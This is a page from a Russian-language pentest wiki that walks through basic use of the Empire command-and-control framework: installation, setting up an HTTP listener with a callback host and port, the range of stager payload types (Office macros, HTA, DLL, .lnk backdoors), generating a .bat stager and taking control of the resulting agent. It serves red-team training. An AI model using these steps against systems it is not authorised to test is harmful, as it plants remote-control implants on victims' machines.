AppSec & Pentest
Pentest
Pentest
  • Pentest Book
  • Pentest Infrastructure
    • RootKITs
    • Active Directory
      • About
        • About Active Directory (AD)
        • Термины
        • Компоненты AD
        • Взаимодействие с AD
        • LDAP
      • Authentication Protocols
        • NTLM (общая информация)
        • Kerberos
          • About
          • Common
            • Abbreviations
            • Definitions
            • Tickets
            • Kerberos Services
          • Общая схема протокола Kerberos
          • Kerberos Across domains
          • Kerberos Delegation
          • SPN Kerberos
      • Authorization
        • ACL & ACE About
        • Privileges
      • Детектирование и защита
      • Methodology
      • Attacks
        • AD Enum
          • Domains
          • Forests
          • Trusts
          • Users
          • Groups
          • Computers and Shares
          • Services
          • Информация о сессиях
          • ACL & ACE Enum
          • Tools
        • PrivEsc
          • PrivEsc on Machine
          • PrivEsc on Domain
            • SMB Attacks
            • NTLM Attacks
            • Kerberos Basic Attacks
              • Kerberos Brute-Force
              • Kerberoast
              • AS-REP Roasting
              • AS-REQ Roasting
              • Pass-the-Key / Overpass-the-Hash
              • Path-the-Ticket
              • Silver Ticket
              • Golden Ticket
              • CVE-2020-17049: Kerberos Bronze Bit Attack
              • Papers
            • Через механизм доверия (Trusts)
            • Kerberos Across domains attacks
            • Kerberos Delegation attacks
            • Domain database dumping
              • About
              • NTDS.dit
              • DCSync
            • Services / SPN
            • ACL Attacks
            • Group Policy
              • Intro
              • Group Policy template и SYSVOL
              • Group Policy container
              • Group Policy Preferences (GPP)
              • Tools
            • DCShadow
            • DNSAdmins
            • CVEs
        • Logon Types
        • Lateral Movement
        • Token Manipulation
        • Services
          • AppLocker
          • Azure AD
          • Active Directory
            • ADCS
            • ADFS
            • ADIDNS
          • MSSQL
          • WinRM
          • VNC
          • LAPS
          • MS Exchange
        • M-13 Team Tips
          • Заметки на полях: получение списка существующих пользователей
          • Cheat Sheets: Групповые политики
          • Заметки на полях: детектирование действий в AD
      • Tools
        • Bloodhound
        • Invoke-Mimikatz
        • Mimikatz
        • CrackMapExec
        • SysInternalSuite
        • Potato
        • Rubeus
        • impacket
        • Responder
        • Powermad
        • Other tools
    • Machines
      • Windows
        • Windows computers connection
        • Windows computers credentials
        • Basic Vulnerabilities
        • Local PrivEsc
          • Intro
          • Recon
          • Техники
            • Windows Services / ACL
            • Registry Autoruns
            • Just Enough Administration (JEA)
          • Частные случаи
          • Enum Tools
        • Basic cmds
          • LOLBAS Project
          • Basic cmds Cheet Scheets
          • Exec other binary
          • System Information
          • User and Groups
          • ACL и ACE
          • Поиск файлов
          • System services
            • SCManager
        • Papers
        • AV Evasion
        • AMSI Bypass
        • MS ATA
        • CVEs
        • Events Codes
        • Windows Audit Mindmap
      • Linux
        • Про Kali Linux
          • From Docker
        • Basic cmds
          • sudo
          • Аналог LOLBAS Project
          • Когда нет возможности делать пайпы, но передать вывод надо
          • Посмотреть сессии на машине
        • LPE
          • Intro
          • Papers & Books
          • Tools
            • Some Pack
            • Some Exploit
            • Linux Smart Enum
            • Mangoose
            • PXEnum
            • MIDA
            • SUID exploit
            • Bashark
            • LinEnum
            • LinPEAS
            • LinuxPrivChecker
            • BashKIT Multitool
            • SysEnum
            • RootHelper
            • Auto-Root-Exploit
            • Other tools
        • Мониторинг процессов
      • Mac OS
        • PostExpluatation
    • Post-Exploitation (C2 services)
      • Purpose
      • Architecture C2
      • Summary
      • Metasploit (Ruby/Go/Python)
        • About
        • Basic Usage
        • Advanced Usage
          • msfvenom
          • meterpreter
          • Автоматизация
          • meetle
          • msf modules
      • Cobalt Strike
        • About
        • Basic Usage
        • [Dump] Cobalt Strike
      • Empire
        • About
        • Basic
        • Exploitation and Post-Exploitation with Empire
          • Windows
          • MacOS
          • Linux
        • [OLD] PowerShell Empire (PS/Python)
      • C3 (Custom Command and Control) framework (MWR Labs) (C++)
      • Merlin (Go)
      • Covenant (.Net Core)
        • About Covenant
        • Install & Run Covenant
        • Usage
      • Apfell (Python)
      • Faction C2 (Python)
      • Koadic (Python)
      • SilentTrinity
      • Zuthaka (Over C2)
    • Tools
      • Standalone binary
      • Комбайны
      • Pivoting, Tunneling
        • Tools
        • GOST
        • Proxychains
      • Password Spraying
      • PowerShell and Wrappers
        • Other tools
        • ProxyShell
          • About
          • Где логи powershell
          • Обфускация
      • Другие инструменты
        • Extract passwords and history from browser's local storage
        • Default Creds
        • Extract NTLM-hashes from PCAP
        • Internal-Monologue
        • gMSA
      • Scanners
        • ShareSniffer
        • nmap/mapscan
        • naabu - port scanner on Go
        • Nessus
        • Tsunami [Pre-alpha/Google]
        • Ostorlab
    • Devices
      • Найти информацию об оборудовании по FCC ID
      • Камеры
      • Принтеры
      • Mikrotik
      • CISCO
        • Cisco Phone Systems
        • Decrypt Various Cisco password types
        • CVE-2020-3187
        • CVE-2020-3452
      • WiFi
        • WiFi Hacking MindMap
        • Узнать пароль Wi-Fi на винде
        • Последовательность действий (грубо говоря)
        • Роутеры/маршрутизаторы
    • Ports
      • 161,162,10161,10162 SNMP
      • 389, 636, 3268, 3269 LDAP
      • 623 ipmi
      • 2049 NFS
      • 8172
      • 9000
    • Other Attacks
    • Others
      • Papers & Resources
      • Вывести файл на экран
      • Обучение
        • CRTE
        • CRTP
  • Red Team
    • Intro
    • Methodology
      • Проведение RedTeam у себя?
      • The Red Team Guide
      • Atomic Red Team
      • MindMap
    • Papers & Books
    • AMSI
    • Tools
Powered by GitBook
On this page
  • Установка
  • Основа
  • Listener
  • Stager
  • Agent
  1. Pentest Infrastructure
  2. Post-Exploitation (C2 services)
  3. Empire

Basic

Установка

# Kali
sudo apt install powershell-empire

# from sources
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh

Основа

Перед тем как мы рассмотрим сам программный комплекс, давай разберемся со следующими понятиями:

  • Listener — это локальный процесс, ожидающий бэкконнект с удаленного атакуемого хоста;

  • Stager — загрузчик Agent’a, то есть полезной нагрузки на удаленный атакуемый хост;

  • Agent — процесс (на удаленном атакуемом хосте), который соединяется с нашим Listener’ом;

  • Module — код, выполняемый Agent’ом для достижения определенных целей.

Запуск Empire: powershell-empire

Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a).

Listener

Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners.

Создать его можно командой uselistener, но давай посмотрим, какие типы листенеров нам может предложить Empire.

uselistener <TAB>

Поясню, что здесь что:

  • dbx — Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);

  • http — обычный HTTP/HTTPS-листенер;

  • http_com — HTTP/HTTPS-листенер, использующий объект IE COM;

  • http_foreign — HTTP/HTTPS-листенер для сторонней нагрузки Empire;

  • http_hop — HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);

  • meterpreter — HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;

  • redirector — инструмент для перехода от одного агента к другому.

С типами листенеров разобрались, а теперь давай посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP).

uselistener http

Получить справку по выбранному листенеру можно командой info.

Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт.

set Name l1
set Host http://192.168.6.1
set Port 4321

И запустим листенер командой execute. back - команда, для возвращения в предыдущее меню.

Переходим ко второй стадии.

Stager

Давай по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager.

Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки:

  • bash — обычный Bash-скрипт;

  • launcher — так называемый one-liner-код на определенном скриптовом языке;

  • macro — макрос для офисных приложений;

  • pyinstaller — ELF-файл, собранный с помощью PyInstaller;

  • war — просто набор байтов для модернизации нагрузки;

  • applescript — файл AppleScript;

  • application — файл Application;

  • ducky — так называемый скрипт Rubber Ducky;

  • dylib — динамическая библиотека macOS;

  • jar — нагрузка в JAR-формате;

  • machomacOS — офисный макрос для macOS;

  • pkg — установщик PKG (должен быть скопирован в директорию /Applications);

  • safari_launcher — HTML-нагрузка;

  • shellcode — обычный Windows-шелл;

  • teensy — Teensy-скрипт;

  • backdoorLnkMacro — файл .lnk для загрузки и запуска приложения;

  • bunny — скрипт Bash bunny;

  • csharp_exe — приложение PowerShell/C#;

  • dll — нагрузка в виде DLL;

  • hta — HTA-нагрузка для IE;

  • macroless_msword — документ macroless;

  • wmic — XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire).

Давай выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.

Как и в случае с листенером, посмотрим параметры командой info.

Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давай укажем листенер и путь к итоговому файлу, после чего создадим stager.

set Listener l1
set OutFile /home/ralf/tmp/l1.bat
execute

Файл с нагрузкой создан по указанному пути.

Agent

Нам нужно выполнить bat-файл на целевом хосте. Ты увидишь сообщение о подключении.

Перейдем в главное меню и выполним команду agents, чтобы увидеть все агенты.

Для удобства можно переименовать агент командой rename и перейти в интерфейс управления агентом (команда interact).

rename LVKP4HN3 al1
interact al1

Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.

PreviousAboutNextExploitation and Post-Exploitation with Empire

Last updated 3 years ago

http_mapi — HTTP/HTTPS-листенер для использования с , что позволит получить управление через Exchange-сервер;

onedrive — onedrive-листенер (требует регистрацию приложения )

Liniaal
https://apps.dev.microsoft.com